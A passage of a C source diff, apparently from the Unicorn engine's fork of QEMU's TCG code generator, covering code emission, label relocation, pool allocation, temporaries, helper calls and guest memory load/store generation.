QEMU_UNUSED_FUNC inline void tcg_out16(TCGContext *s, uint16_t v) +{ + if (TCG_TARGET_INSN_UNIT_SIZE == 2) { + *s->code_ptr++ = (tcg_insn_unit)v; + } else { + tcg_insn_unit *p = s->code_ptr; + memcpy(p, &v, sizeof(v)); + s->code_ptr = p + (2 / TCG_TARGET_INSN_UNIT_SIZE); + } +} + +static QEMU_UNUSED_FUNC inline void tcg_patch16(tcg_insn_unit *p, + uint16_t v) +{ + if (TCG_TARGET_INSN_UNIT_SIZE == 2) { + *p = (tcg_insn_unit)v; + } else { + memcpy(p, &v, sizeof(v)); + } +} +#endif + +#if TCG_TARGET_INSN_UNIT_SIZE <= 4 +static QEMU_UNUSED_FUNC inline void tcg_out32(TCGContext *s, uint32_t v) +{ + if (TCG_TARGET_INSN_UNIT_SIZE == 4) { + *s->code_ptr++ = v; + } else { + tcg_insn_unit *p = s->code_ptr; + memcpy(p, &v, sizeof(v)); + s->code_ptr = p + (4 / TCG_TARGET_INSN_UNIT_SIZE); + } +} + +static QEMU_UNUSED_FUNC inline void tcg_patch32(tcg_insn_unit *p, + uint32_t v) +{ + if (TCG_TARGET_INSN_UNIT_SIZE == 4) { + *p = v; + } else { + memcpy(p, &v, sizeof(v)); + } +} +#endif + +#if TCG_TARGET_INSN_UNIT_SIZE <= 8 +static QEMU_UNUSED_FUNC inline void tcg_out64(TCGContext *s, uint64_t v) +{ + if (TCG_TARGET_INSN_UNIT_SIZE == 8) { + *s->code_ptr++ = (tcg_insn_unit)v; + } else { + tcg_insn_unit *p = s->code_ptr; + memcpy(p, &v, sizeof(v)); + s->code_ptr = p + (8 / TCG_TARGET_INSN_UNIT_SIZE); + } +} + +static QEMU_UNUSED_FUNC inline void tcg_patch64(tcg_insn_unit *p, + uint64_t v) +{ + if (TCG_TARGET_INSN_UNIT_SIZE == 8) { + *p = (tcg_insn_unit)v; + } else { + memcpy(p, &v, sizeof(v)); + } +} +#endif + +/* label relocation processing */ + +static void tcg_out_reloc(TCGContext *s, tcg_insn_unit *code_ptr, int type, + int label_index, intptr_t addend) +{ + TCGLabel *l; + TCGRelocation *r; + + l = &s->labels[label_index]; + if (l->has_value) { + /* FIXME: This may break relocations on RISC targets that + modify instruction fields in place. The caller may not have + written the initial value. */ + patch_reloc(code_ptr, type, l->u.value, addend); + } else { + /* add a new relocation entry */ + r = tcg_malloc(s, sizeof(TCGRelocation)); + r->type = type; + r->ptr = code_ptr; + r->addend = addend; + r->next = l->u.first_reloc; + l->u.first_reloc = r; + } +} + +static void tcg_out_label(TCGContext *s, int label_index, tcg_insn_unit *ptr) +{ + TCGLabel *l = &s->labels[label_index]; + intptr_t value = (intptr_t)ptr; + TCGRelocation *r; + + assert(!l->has_value); + + for (r = l->u.first_reloc; r != NULL; r = r->next) { + patch_reloc(r->ptr, r->type, value, r->addend); + } + + l->has_value = 1; + l->u.value_ptr = ptr; +} + +int gen_new_label(TCGContext *s) +{ + int idx; + TCGLabel *l; + + if (s->nb_labels >= TCG_MAX_LABELS) + tcg_abort(); + idx = s->nb_labels++; + l = &s->labels[idx]; + l->has_value = 0; + l->u.first_reloc = NULL; + return idx; +} + +#include "tcg-target.c" + +/* pool based memory allocation */ +void *tcg_malloc_internal(TCGContext *s, int size) +{ + TCGPool *p; + int pool_size; + + if (size > TCG_POOL_CHUNK_SIZE) { + /* big malloc: insert a new pool (XXX: could optimize) */ + p = g_malloc0(sizeof(TCGPool) + size); + p->size = size; + p->next = s->pool_first_large; + s->pool_first_large = p; + return p->data; + } else { + p = s->pool_current; + if (!p) { + p = s->pool_first; + if (!p) + goto new_pool; + } else { + if (!p->next) { + new_pool: + pool_size = TCG_POOL_CHUNK_SIZE; + p = g_malloc0(sizeof(TCGPool) + pool_size); + p->size = pool_size; + p->next = NULL; + if (s->pool_current) + s->pool_current->next = p; + else + s->pool_first = p; + } else { + p = p->next; + } + } + } + s->pool_current = p; + s->pool_cur = p->data + size; + s->pool_end = p->data + p->size; + return p->data; +} + +void tcg_pool_reset(TCGContext *s) +{ + TCGPool *p, *t; + for (p = s->pool_first_large; p; p = t) { + t = p->next; + g_free(p); + } + s->pool_first_large = NULL; + s->pool_cur = s->pool_end = NULL; + s->pool_current = NULL; +} + +typedef struct TCGHelperInfo { + void *func; + const char *name; + unsigned flags; + unsigned sizemask; +} TCGHelperInfo; + +#include "exec/helper-proto.h" + +static const TCGHelperInfo all_helpers[] = { +#include "exec/helper-tcg.h" +}; + +void tcg_context_init(TCGContext *s) +{ + int op, total_args, n, i; + TCGOpDef *def; + TCGArgConstraint *args_ct; + int *sorted_args; + GHashTable *helper_table; + + memset(s, 0, sizeof(*s)); + s->nb_globals = 0; + + // copy original tcg_op_defs_org for private usage + s->tcg_op_defs = g_malloc(sizeof(tcg_op_defs_org)); + memcpy(s->tcg_op_defs, tcg_op_defs_org, sizeof(tcg_op_defs_org)); + + /* Count total number of arguments and allocate the corresponding + space */ + total_args = 0; + for(op = 0; op < NB_OPS; op++) { + def = &s->tcg_op_defs[op]; + n = def->nb_iargs + def->nb_oargs; + total_args += n; + } + + args_ct = g_malloc(sizeof(TCGArgConstraint) * total_args); + sorted_args = g_malloc(sizeof(int) * total_args); + + for(op = 0; op < NB_OPS; op++) { + def = &s->tcg_op_defs[op]; + def->args_ct = args_ct; + def->sorted_args = sorted_args; + n = def->nb_iargs + def->nb_oargs; + sorted_args += n; + args_ct += n; + } + + /* Register helpers. */ + /* Use g_direct_hash/equal for direct pointer comparisons on func. */ + s->helpers = helper_table = g_hash_table_new(NULL, NULL); + + for (i = 0; i < ARRAY_SIZE(all_helpers); ++i) { + g_hash_table_insert(helper_table, (gpointer)all_helpers[i].func, + (gpointer)&all_helpers[i]); + } + + tcg_target_init(s); +} + +void tcg_prologue_init(TCGContext *s) +{ + /* init global prologue and epilogue */ + s->code_buf = s->code_gen_prologue; + s->code_ptr = s->code_buf; + tcg_target_qemu_prologue(s); + flush_icache_range((uintptr_t)s->code_buf, (uintptr_t)s->code_ptr); + +#ifdef DEBUG_DISAS + if (qemu_loglevel_mask(CPU_LOG_TB_OUT_ASM)) { + size_t size = tcg_current_code_size(s); + qemu_log("PROLOGUE: [size=%zu]\n", size); + qemu_log("\n"); + qemu_log_flush(); + } +#endif +} + +void tcg_set_frame(TCGContext *s, int reg, intptr_t start, intptr_t size) +{ + s->frame_start = start; + s->frame_end = start + size; + s->frame_reg = reg; +} + +void tcg_func_start(TCGContext *s) +{ + tcg_pool_reset(s); + s->nb_temps = s->nb_globals; + + /* No temps have been previously allocated for size or locality. */ + memset(s->free_temps, 0, sizeof(s->free_temps)); + + s->labels = tcg_malloc(s, sizeof(TCGLabel) * TCG_MAX_LABELS); + s->nb_labels = 0; + s->current_frame_offset = s->frame_start; + +#ifdef CONFIG_DEBUG_TCG + s->goto_tb_issue_mask = 0; +#endif + + s->gen_opc_ptr = s->gen_opc_buf; + s->gen_opparam_ptr = s->gen_opparam_buf; + + s->be = tcg_malloc(s, sizeof(TCGBackendData)); +} + +static inline void tcg_temp_alloc(TCGContext *s, int n) +{ + if (n > TCG_MAX_TEMPS) + tcg_abort(); +} + +static inline int tcg_global_reg_new_internal(TCGContext *s, TCGType type, int reg, + const char *name) +{ + TCGTemp *ts; + int idx; + +#if TCG_TARGET_REG_BITS == 32 + if (type != TCG_TYPE_I32) + tcg_abort(); +#endif + if (tcg_regset_test_reg(s->reserved_regs, reg)) + tcg_abort(); + idx = s->nb_globals; + tcg_temp_alloc(s, s->nb_globals + 1); + ts = &s->temps[s->nb_globals]; + ts->base_type = type; + ts->type = type; + ts->fixed_reg = 1; + ts->reg = reg; + ts->name = name; + s->nb_globals++; + tcg_regset_set_reg(s->reserved_regs, reg); + return idx; +} + +TCGv_i32 tcg_global_reg_new_i32(TCGContext *s, int reg, const char *name) +{ + int idx; + + idx = tcg_global_reg_new_internal(s, TCG_TYPE_I32, reg, name); + return MAKE_TCGV_I32(idx); +} + +TCGv_i64 tcg_global_reg_new_i64(TCGContext *s, int reg, const char *name) +{ + int idx; + + idx = tcg_global_reg_new_internal(s, TCG_TYPE_I64, reg, name); + return MAKE_TCGV_I64(idx); +} + +static inline int tcg_global_mem_new_internal(TCGContext *s, TCGType type, int reg, + intptr_t offset, + const char *name) +{ + TCGTemp *ts; + int idx; + + idx = s->nb_globals; +#if TCG_TARGET_REG_BITS == 32 + if (type == TCG_TYPE_I64) { + char buf[64]; + tcg_temp_alloc(s, s->nb_globals + 2); + ts = &s->temps[s->nb_globals]; + ts->base_type = type; + ts->type = TCG_TYPE_I32; + ts->fixed_reg = 0; + ts->mem_allocated = 1; + ts->mem_reg = reg; +#ifdef HOST_WORDS_BIGENDIAN + ts->mem_offset = offset + 4; +#else + ts->mem_offset = offset; +#endif + pstrcpy(buf, sizeof(buf), name); + pstrcat(buf, sizeof(buf), "_0"); + ts->name = g_strdup(buf); + ts++; + + ts->base_type = type; + ts->type = TCG_TYPE_I32; + ts->fixed_reg = 0; + ts->mem_allocated = 1; + ts->mem_reg = reg; +#ifdef HOST_WORDS_BIGENDIAN + ts->mem_offset = offset; +#else + ts->mem_offset = offset + 4; +#endif + pstrcpy(buf, sizeof(buf), name); + pstrcat(buf, sizeof(buf), "_1"); + ts->name = g_strdup(buf); + + s->nb_globals += 2; + } else +#endif + { + tcg_temp_alloc(s, s->nb_globals + 1); + ts = &s->temps[s->nb_globals]; + ts->base_type = type; + ts->type = type; + ts->fixed_reg = 0; + ts->mem_allocated = 1; + ts->mem_reg = reg; + ts->mem_offset = offset; + ts->name = name; + s->nb_globals++; + } + return idx; +} + +TCGv_i32 tcg_global_mem_new_i32(TCGContext *s, int reg, intptr_t offset, const char *name) +{ + int idx = tcg_global_mem_new_internal(s, TCG_TYPE_I32, reg, offset, name); + return MAKE_TCGV_I32(idx); +} + +TCGv_i64 tcg_global_mem_new_i64(TCGContext *s, int reg, intptr_t offset, const char *name) +{ + int idx = tcg_global_mem_new_internal(s, TCG_TYPE_I64, reg, offset, name); + return MAKE_TCGV_I64(idx); +} + +static inline int tcg_temp_new_internal(TCGContext *s, TCGType type, int temp_local) +{ + TCGTemp *ts; + int idx, k; + + k = type + (temp_local ? TCG_TYPE_COUNT : 0); + idx = find_first_bit(s->free_temps[k].l, TCG_MAX_TEMPS); + if (idx < TCG_MAX_TEMPS) { + /* There is already an available temp with the right type. */ + clear_bit(idx, s->free_temps[k].l); + + ts = &s->temps[idx]; + ts->temp_allocated = 1; + assert(ts->base_type == type); + assert(ts->temp_local == temp_local); + } else { + idx = s->nb_temps; +#if TCG_TARGET_REG_BITS == 32 + if (type == TCG_TYPE_I64) { + tcg_temp_alloc(s, s->nb_temps + 2); + ts = &s->temps[s->nb_temps]; + ts->base_type = type; + ts->type = TCG_TYPE_I32; + ts->temp_allocated = 1; + ts->temp_local = temp_local; + ts->name = NULL; + ts++; + ts->base_type = type; + ts->type = TCG_TYPE_I32; + ts->temp_allocated = 1; + ts->temp_local = temp_local; + ts->name = NULL; + s->nb_temps += 2; + } else +#endif + { + tcg_temp_alloc(s, s->nb_temps + 1); + ts = &s->temps[s->nb_temps]; + ts->base_type = type; + ts->type = type; + ts->temp_allocated = 1; + ts->temp_local = temp_local; + ts->name = NULL; + s->nb_temps++; + } + } + +#if defined(CONFIG_DEBUG_TCG) + s->temps_in_use++; +#endif + return idx; +} + +TCGv_i32 tcg_temp_new_internal_i32(TCGContext *s, int temp_local) +{ + int idx; + + idx = tcg_temp_new_internal(s, TCG_TYPE_I32, temp_local); + return MAKE_TCGV_I32(idx); +} + +TCGv_i64 tcg_temp_new_internal_i64(TCGContext *s, int temp_local) +{ + int idx; + + idx = tcg_temp_new_internal(s, TCG_TYPE_I64, temp_local); + return MAKE_TCGV_I64(idx); +} + +static void tcg_temp_free_internal(TCGContext *s, int idx) +{ + TCGTemp *ts; + int k; + +#if defined(CONFIG_DEBUG_TCG) + s->temps_in_use--; + if (s->temps_in_use < 0) { + fprintf(stderr, "More temporaries freed than allocated!\n"); + } +#endif + + assert(idx >= s->nb_globals && idx < s->nb_temps); + ts = &s->temps[idx]; + assert(ts->temp_allocated != 0); + ts->temp_allocated = 0; + + k = ts->base_type + (ts->temp_local ? TCG_TYPE_COUNT : 0); + set_bit(idx, s->free_temps[k].l); +} + +void tcg_temp_free_i32(TCGContext *s, TCGv_i32 arg) +{ + tcg_temp_free_internal(s, GET_TCGV_I32(arg)); +} + +void tcg_temp_free_i64(TCGContext *s, TCGv_i64 arg) +{ + tcg_temp_free_internal(s, GET_TCGV_I64(arg)); +} + +TCGv_i32 tcg_const_i32(TCGContext *s, int32_t val) +{ + TCGv_i32 t0; + t0 = tcg_temp_new_i32(s); + tcg_gen_movi_i32(s, t0, val); + return t0; +} + +TCGv_i64 tcg_const_i64(TCGContext *s, int64_t val) +{ + TCGv_i64 t0; + t0 = tcg_temp_new_i64(s); + tcg_gen_movi_i64(s, t0, val); + return t0; +} + +TCGv_i32 tcg_const_local_i32(TCGContext *s, int32_t val) +{ + TCGv_i32 t0; + t0 = tcg_temp_local_new_i32(s); + tcg_gen_movi_i32(s, t0, val); + return t0; +} + +TCGv_i64 tcg_const_local_i64(TCGContext *s, int64_t val) +{ + TCGv_i64 t0; + t0 = tcg_temp_local_new_i64(s); + tcg_gen_movi_i64(s, t0, val); + return t0; +} + +#if defined(CONFIG_DEBUG_TCG) +void tcg_clear_temp_count(TCGContext *s) +{ + s->temps_in_use = 0; +} + +int tcg_check_temp_count(TCGContext *s) +{ + if (s->temps_in_use) { + /* Clear the count so that we don't give another + * warning immediately next time around. + */ + s->temps_in_use = 0; + return 1; + } + return 0; +} +#endif + +/* Note: we convert the 64 bit args to 32 bit and do some alignment + and endian swap. Maybe it would be better to do the alignment + and endian swap in tcg_reg_alloc_call(). */ +void tcg_gen_callN(TCGContext *s, void *func, TCGArg ret, + int nargs, TCGArg *args) +{ + int i, real_args, nb_rets; + unsigned sizemask, flags; + TCGArg *nparam; + TCGHelperInfo *info; + + info = g_hash_table_lookup(s->helpers, (gpointer)func); + flags = info->flags; + sizemask = info->sizemask; + +#if defined(__sparc__) && !defined(__arch64__) \ + && !defined(CONFIG_TCG_INTERPRETER) + /* We have 64-bit values in one register, but need to pass as two + separate parameters. Split them. */ + int orig_sizemask = sizemask; + int orig_nargs = nargs; + TCGv_i64 retl, reth; + + TCGV_UNUSED_I64(retl); + TCGV_UNUSED_I64(reth); + if (sizemask != 0) { + TCGArg *split_args = __builtin_alloca(sizeof(TCGArg) * nargs * 2); + for (i = real_args = 0; i < nargs; ++i) { + int is_64bit = sizemask & (1 << (i+1)*2); + if (is_64bit) { + TCGv_i64 orig = MAKE_TCGV_I64(args[i]); + TCGv_i32 h = tcg_temp_new_i32(s); + TCGv_i32 l = tcg_temp_new_i32(s); + tcg_gen_extr_i64_i32(l, h, orig); + split_args[real_args++] = GET_TCGV_I32(h); + split_args[real_args++] = GET_TCGV_I32(l); + } else { + split_args[real_args++] = args[i]; + } + } + nargs = real_args; + args = split_args; + sizemask = 0; + } +#elif defined(TCG_TARGET_EXTEND_ARGS) && TCG_TARGET_REG_BITS == 64 + for (i = 0; i < nargs; ++i) { + int is_64bit = sizemask & (1 << (i+1)*2); + int is_signed = sizemask & (2 << (i+1)*2); + if (!is_64bit) { + TCGv_i64 temp = tcg_temp_new_i64(s); + TCGv_i64 orig = MAKE_TCGV_I64(args[i]); + if (is_signed) { + tcg_gen_ext32s_i64(s, temp, orig); + } else { + tcg_gen_ext32u_i64(s, temp, orig); + } + args[i] = GET_TCGV_I64(temp); + } + } +#endif /* TCG_TARGET_EXTEND_ARGS */ + + *s->gen_opc_ptr++ = INDEX_op_call; + nparam = s->gen_opparam_ptr++; + if (ret != TCG_CALL_DUMMY_ARG) { +#if defined(__sparc__) && !defined(__arch64__) \ + && !defined(CONFIG_TCG_INTERPRETER) + if (orig_sizemask & 1) { + /* The 32-bit ABI is going to return the 64-bit value in + the %o0/%o1 register pair. Prepare for this by using + two return temporaries, and reassemble below. */ + retl = tcg_temp_new_i64(s); + reth = tcg_temp_new_i64(s); + *s->gen_opparam_ptr++ = GET_TCGV_I64(reth); + *s->gen_opparam_ptr++ = GET_TCGV_I64(retl); + nb_rets = 2; + } else { + *s->gen_opparam_ptr++ = ret; + nb_rets = 1; + } +#else + if (TCG_TARGET_REG_BITS < 64 && (sizemask & 1)) { +#ifdef HOST_WORDS_BIGENDIAN + *s->gen_opparam_ptr++ = ret + 1; + *s->gen_opparam_ptr++ = ret; +#else + *s->gen_opparam_ptr++ = ret; + *s->gen_opparam_ptr++ = ret + 1; +#endif + nb_rets = 2; + } else { + *s->gen_opparam_ptr++ = ret; + nb_rets = 1; + } +#endif + } else { + nb_rets = 0; + } + real_args = 0; + for (i = 0; i < nargs; i++) { + int is_64bit = sizemask & (1 << (i+1)*2); + if (TCG_TARGET_REG_BITS < 64 && is_64bit) { +#ifdef TCG_TARGET_CALL_ALIGN_ARGS + /* some targets want aligned 64 bit args */ + if (real_args & 1) { + *s->gen_opparam_ptr++ = TCG_CALL_DUMMY_ARG; + real_args++; + } +#endif + /* If stack grows up, then we will be placing successive + arguments at lower addresses, which means we need to + reverse the order compared to how we would normally + treat either big or little-endian. For those arguments + that will wind up in registers, this still works for + HPPA (the only current STACK_GROWSUP target) since the + argument registers are *also* allocated in decreasing + order. If another such target is added, this logic may + have to get more complicated to differentiate between + stack arguments and register arguments. */ +#if defined(HOST_WORDS_BIGENDIAN) != defined(TCG_TARGET_STACK_GROWSUP) + *s->gen_opparam_ptr++ = args[i] + 1; + *s->gen_opparam_ptr++ = args[i]; +#else + *s->gen_opparam_ptr++ = args[i]; + *s->gen_opparam_ptr++ = args[i] + 1; +#endif + real_args += 2; + continue; + } + + *s->gen_opparam_ptr++ = args[i]; + real_args++; + } + *s->gen_opparam_ptr++ = (uintptr_t)func; + *s->gen_opparam_ptr++ = flags; + + *nparam = (nb_rets << 16) | real_args; + + /* total parameters, needed to go backward in the instruction stream */ + *s->gen_opparam_ptr++ = 1 + nb_rets + real_args + 3; + +#if defined(__sparc__) && !defined(__arch64__) \ + && !defined(CONFIG_TCG_INTERPRETER) + /* Free all of the parts we allocated above. */ + for (i = real_args = 0; i < orig_nargs; ++i) { + int is_64bit = orig_sizemask & (1 << (i+1)*2); + if (is_64bit) { + TCGv_i32 h = MAKE_TCGV_I32(args[real_args++]); + TCGv_i32 l = MAKE_TCGV_I32(args[real_args++]); + tcg_temp_free_i32(s, h); + tcg_temp_free_i32(s, l); + } else { + real_args++; + } + } + if (orig_sizemask & 1) { + /* The 32-bit ABI returned two 32-bit pieces. Re-assemble them. + Note that describing these as TCGv_i64 eliminates an unnecessary + zero-extension that tcg_gen_concat_i32_i64 would create. */ + tcg_gen_concat32_i64(MAKE_TCGV_I64(ret), retl, reth); + tcg_temp_free_i64(s, retl); + tcg_temp_free_i64(s, reth); + } +#elif defined(TCG_TARGET_EXTEND_ARGS) && TCG_TARGET_REG_BITS == 64 + for (i = 0; i < nargs; ++i) { + int is_64bit = sizemask & (1 << (i+1)*2); + if (!is_64bit) { + TCGv_i64 temp = MAKE_TCGV_I64(args[i]); + tcg_temp_free_i64(s, temp); + } + } +#endif /* TCG_TARGET_EXTEND_ARGS */ +} + +#if TCG_TARGET_REG_BITS == 32 +void tcg_gen_shifti_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, + int c, int right, int arith) +{ + if (c == 0) { + tcg_gen_mov_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1)); + tcg_gen_mov_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1)); + } else if (c >= 32) { + c -= 32; + if (right) { + if (arith) { + tcg_gen_sari_i32(s, TCGV_LOW(ret), TCGV_HIGH(arg1), c); + tcg_gen_sari_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), 31); + } else { + tcg_gen_shri_i32(s, TCGV_LOW(ret), TCGV_HIGH(arg1), c); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); + } + } else { + tcg_gen_shli_i32(s, TCGV_HIGH(ret), TCGV_LOW(arg1), c); + tcg_gen_movi_i32(s, TCGV_LOW(ret), 0); + } + } else { + TCGv_i32 t0, t1; + + t0 = tcg_temp_new_i32(s); + t1 = tcg_temp_new_i32(s); + if (right) { + tcg_gen_shli_i32(s, t0, TCGV_HIGH(arg1), 32 - c); + if (arith) + tcg_gen_sari_i32(s, t1, TCGV_HIGH(arg1), c); + else + tcg_gen_shri_i32(s, t1, TCGV_HIGH(arg1), c); + tcg_gen_shri_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), c); + tcg_gen_or_i32(s, TCGV_LOW(ret), TCGV_LOW(ret), t0); + tcg_gen_mov_i32(s, TCGV_HIGH(ret), t1); + } else { + tcg_gen_shri_i32(s, t0, TCGV_LOW(arg1), 32 - c); + /* Note: ret can be the same as arg1, so we use t1 */ + tcg_gen_shli_i32(s, t1, TCGV_LOW(arg1), c); + tcg_gen_shli_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), c); + tcg_gen_or_i32(s, TCGV_HIGH(ret), TCGV_HIGH(ret), t0); + tcg_gen_mov_i32(s, TCGV_LOW(ret), t1); + } + tcg_temp_free_i32(s, t0); + tcg_temp_free_i32(s, t1); + } +} +#endif + +static inline TCGMemOp tcg_canonicalize_memop(TCGMemOp op, bool is64, bool st) +{ + switch (op & MO_SIZE) { + case MO_8: + op &= ~MO_BSWAP; + break; + case MO_16: + break; + case MO_32: + if (!is64) { + op &= ~MO_SIGN; + } + break; + case MO_64: + if (!is64) { + tcg_abort(); + } + break; + } + if (st) { + op &= ~MO_SIGN; + } + return op; +} + +// Unicorn engine +// check if the last memory access was invalid +// if so, we jump to the block epilogue to quit immediately. +void check_exit_request(TCGContext *tcg_ctx) +{ + TCGv_i32 flag; + + flag = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_i32(tcg_ctx, flag, tcg_ctx->cpu_env, + offsetof(CPUState, tcg_exit_req) - ENV_OFFSET); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, flag, 0, tcg_ctx->exitreq_label); + tcg_temp_free_i32(tcg_ctx, flag); +} + +void tcg_gen_qemu_ld_i32(struct uc_struct *uc, TCGv_i32 val, TCGv addr, TCGArg idx, TCGMemOp memop) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + + memop = tcg_canonicalize_memop(memop, 0, 0); + + *tcg_ctx->gen_opc_ptr++ = INDEX_op_qemu_ld_i32; + tcg_add_param_i32(tcg_ctx, val); + tcg_add_param_tl(tcg_ctx, addr); + *tcg_ctx->gen_opparam_ptr++ = memop; + *tcg_ctx->gen_opparam_ptr++ = idx; + + check_exit_request(tcg_ctx); +} + +void tcg_gen_qemu_st_i32(struct uc_struct *uc, TCGv_i32 val, TCGv addr, TCGArg idx, TCGMemOp memop) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + + memop = tcg_canonicalize_memop(memop, 0, 1); + + *tcg_ctx->gen_opc_ptr++ = INDEX_op_qemu_st_i32; + tcg_add_param_i32(tcg_ctx, val); + tcg_add_param_tl(tcg_ctx, addr); + *tcg_ctx->gen_opparam_ptr++ = memop; + *tcg_ctx->gen_opparam_ptr++ = idx; + + check_exit_request(tcg_ctx); +} + +void tcg_gen_qemu_ld_i64(struct uc_struct *uc, TCGv_i64 val, TCGv addr, TCGArg idx, TCGMemOp memop) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + + memop = tcg_canonicalize_memop(memop, 1, 0); + +#if TCG_TARGET_REG_BITS == 32 + if ((memop & MO_SIZE) < MO_64) { + tcg_gen_qemu_ld_i32(uc, TCGV_LOW(val), addr, idx, memop); + if (memop & MO_SIGN) { + tcg_gen_sari_i32(tcg_ctx, TCGV_HIGH(val), TCGV_LOW(val), 31); + } else { + tcg_gen_movi_i32(tcg_ctx, TCGV_HIGH(val), 0); + } + + check_exit_request(tcg_ctx); + return; + } +#endif + + *tcg_ctx->gen_opc_ptr++ = INDEX_op_qemu_ld_i64; + tcg_add_param_i64(tcg_ctx, val); + tcg_add_param_tl(tcg_ctx, addr); + *tcg_ctx->gen_opparam_ptr++ = memop; + *tcg_ctx->gen_opparam_ptr++ = idx; + + check_exit_request(tcg_ctx); +} + +void tcg_gen_qemu_st_i64(struct uc_struct *uc, TCGv_i64 val, TCGv addr, TCGArg idx, TCGMemOp memop) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + + memop = tcg_canonicalize_memop(memop, 1, 1); + +#if TCG_TARGET_REG_BITS == 32 + if ((memop & MO_SIZE) < MO_64) { + tcg_gen_qemu_st_i32(uc, TCGV_LOW(val), addr, idx, memop); + check_exit_request(tcg_ctx); + return; + } +#endif + + *tcg_ctx->gen_opc_ptr++ = INDEX_op_qemu_st_i64; + tcg_add_param_i64(tcg_ctx, val); + tcg_add_param_tl(tcg_ctx, addr); + *tcg_ctx->gen_opparam_ptr++ = memop; + *tcg_ctx->gen_opparam_ptr++ = idx; + + check_exit_request(tcg_ctx); +} + +static void tcg_reg_alloc_start(TCGContext *s) +{ + int i; + TCGTemp *ts; + for(i = 0; i < s->nb_globals; i++) { + ts = &s->temps[i]; + if (ts->fixed_reg) { + ts->val_type = TEMP_VAL_REG; + } else { + ts->val_type = TEMP_VAL_MEM; + } + } + for(i = s->nb_globals; i < s->nb_temps; i++) { + ts = &s->temps[i]; + if (ts->temp_local) { + ts->val_type = TEMP_VAL_MEM; + } else { + ts->val_type = TEMP_VAL_DEAD; + } + ts->mem_allocated = 0; + ts->fixed_reg = 0; + } + for(i = 0; i < TCG_TARGET_NB_REGS; i++) { + s->reg_to_temp[i] = -1; + } +} + +static char *tcg_get_arg_str_idx(TCGContext *s, char *buf, int buf_size, + int idx) +{ + TCGTemp *ts; + + assert(idx >= 0 && idx < s->nb_temps); + ts = &s->temps[idx]; + if (idx < s->nb_globals) { + pstrcpy(buf, buf_size, ts->name); + } else { + if (ts->temp_local) + snprintf(buf, buf_size, "loc%d", idx - s->nb_globals); + else + snprintf(buf, buf_size, "tmp%d", idx - s->nb_globals); + } + return buf; +} + +char *tcg_get_arg_str_i32(TCGContext *s, char *buf, int buf_size, TCGv_i32 arg) +{ + return tcg_get_arg_str_idx(s, buf, buf_size, GET_TCGV_I32(arg)); +} + +char *tcg_get_arg_str_i64(TCGContext *s, char *buf, int buf_size, TCGv_i64 arg) +{ + return tcg_get_arg_str_idx(s, buf, buf_size, GET_TCGV_I64(arg)); +} + +/* Find helper name. */ +static inline const char *tcg_find_helper(TCGContext *s, uintptr_t val) +{ + const char *ret = NULL; + if (s->helpers) { + TCGHelperInfo *info = g_hash_table_lookup(s->helpers, (gpointer)val); + if (info) { + ret = info->name; + } + } + return ret; +} + +static const char * const cond_name[] = +{ +#ifdef _MSC_VER + "never", // TCG_COND_NEVER + "always", // TCG_COND_ALWAYS + "lt", // TCG_COND_LT + "ge", // TCG_COND_GE + "ltu", // TCG_COND_LTU + "geu", // TCG_COND_GEU + NULL, // n/a + NULL, // n/a + "eq", // TCG_COND_EQ + "ne", // TCG_COND_NE + "le", // TCG_COND_LE + "gt", // TCG_COND_GT + "leu", // TCG_COND_LEU + "gtu", // TCG_COND_GTU + NULL, // n/a + NULL, // n/a +#else + [TCG_COND_NEVER] = "never", + [TCG_COND_ALWAYS] = "always", + [TCG_COND_EQ] = "eq", + [TCG_COND_NE] = "ne", + [TCG_COND_LT] = "lt", + [TCG_COND_GE] = "ge", + [TCG_COND_LE] = "le", + [TCG_COND_GT] = "gt", + [TCG_COND_LTU] = "ltu", + [TCG_COND_GEU] = "geu", + [TCG_COND_LEU] = "leu", + [TCG_COND_GTU] = "gtu" +#endif +}; + +static const char * const ldst_name[] = +{ +#ifdef _MSC_VER + "ub", // MO_UB +# ifdef HOST_WORDS_BIGENDIAN + "beuw", // MO_BEUW + "beul", // MO_BEUL + "beq", // MO_BEQ + "sb", // MO_SB + "besw", // MO_BESW + "besl", // MO_BESL + NULL, // n/a + NULL, // n/a + "leuw", // MO_LEUW + "leul", // MO_LEUL + "leq", // MO_LEQ + NULL, // n/a + "lesw", // MO_LESW + "lesl", // MO_LESL + NULL, // n/a +# else // !HOST_WORDS_BIGENDIAN + "leuw", // MO_LEUW + "leul", // MO_LEUL + "leq", // MO_LEQ + "sb", // MO_SB + "lesw", // MO_LESW + "lesl", // MO_LESL + NULL, // n/a + NULL, // n/a + "beuw", // MO_BEUW + "beul", // MO_BEUL + "beq", // MO_BEQ + NULL, // n/a + "besw", // MO_BESW + "besl", // MO_BESL + NULL, // n/a +# endif // HOST_WORDS_BIGENDIAN + +#else //_MSC_VER + [MO_UB] = "ub", + [MO_SB] = "sb", + [MO_LEUW] = "leuw", + [MO_LESW] = "lesw", + [MO_LEUL] = "leul", + [MO_LESL] = "lesl", + [MO_LEQ] = "leq", + [MO_BEUW] = "beuw", + [MO_BESW] = "besw", + [MO_BEUL] = "beul", + [MO_BESL] = "besl", + [MO_BEQ] = "beq", +#endif // _MSC_VER +}; + +void tcg_dump_ops(TCGContext *s) +{ + const uint16_t *opc_ptr; + const TCGArg *args; + TCGArg arg; + TCGOpcode c; + int i, k, nb_oargs, nb_iargs, nb_cargs, first_insn; + const TCGOpDef *def; + char buf[128]; + + first_insn = 1; + opc_ptr = s->gen_opc_buf; + args = s->gen_opparam_buf; + while (opc_ptr < s->gen_opc_ptr) { + c = *opc_ptr++; + def = &s->tcg_op_defs[c]; + if (c == INDEX_op_debug_insn_start) { + uint64_t pc; +#if TARGET_LONG_BITS > TCG_TARGET_REG_BITS + pc = ((uint64_t)args[1] << 32) | args[0]; +#else + pc = args[0]; +#endif + if (!first_insn) { + printf("\n"); + } + printf(" ---- 0x%" PRIx64, pc); + first_insn = 0; + 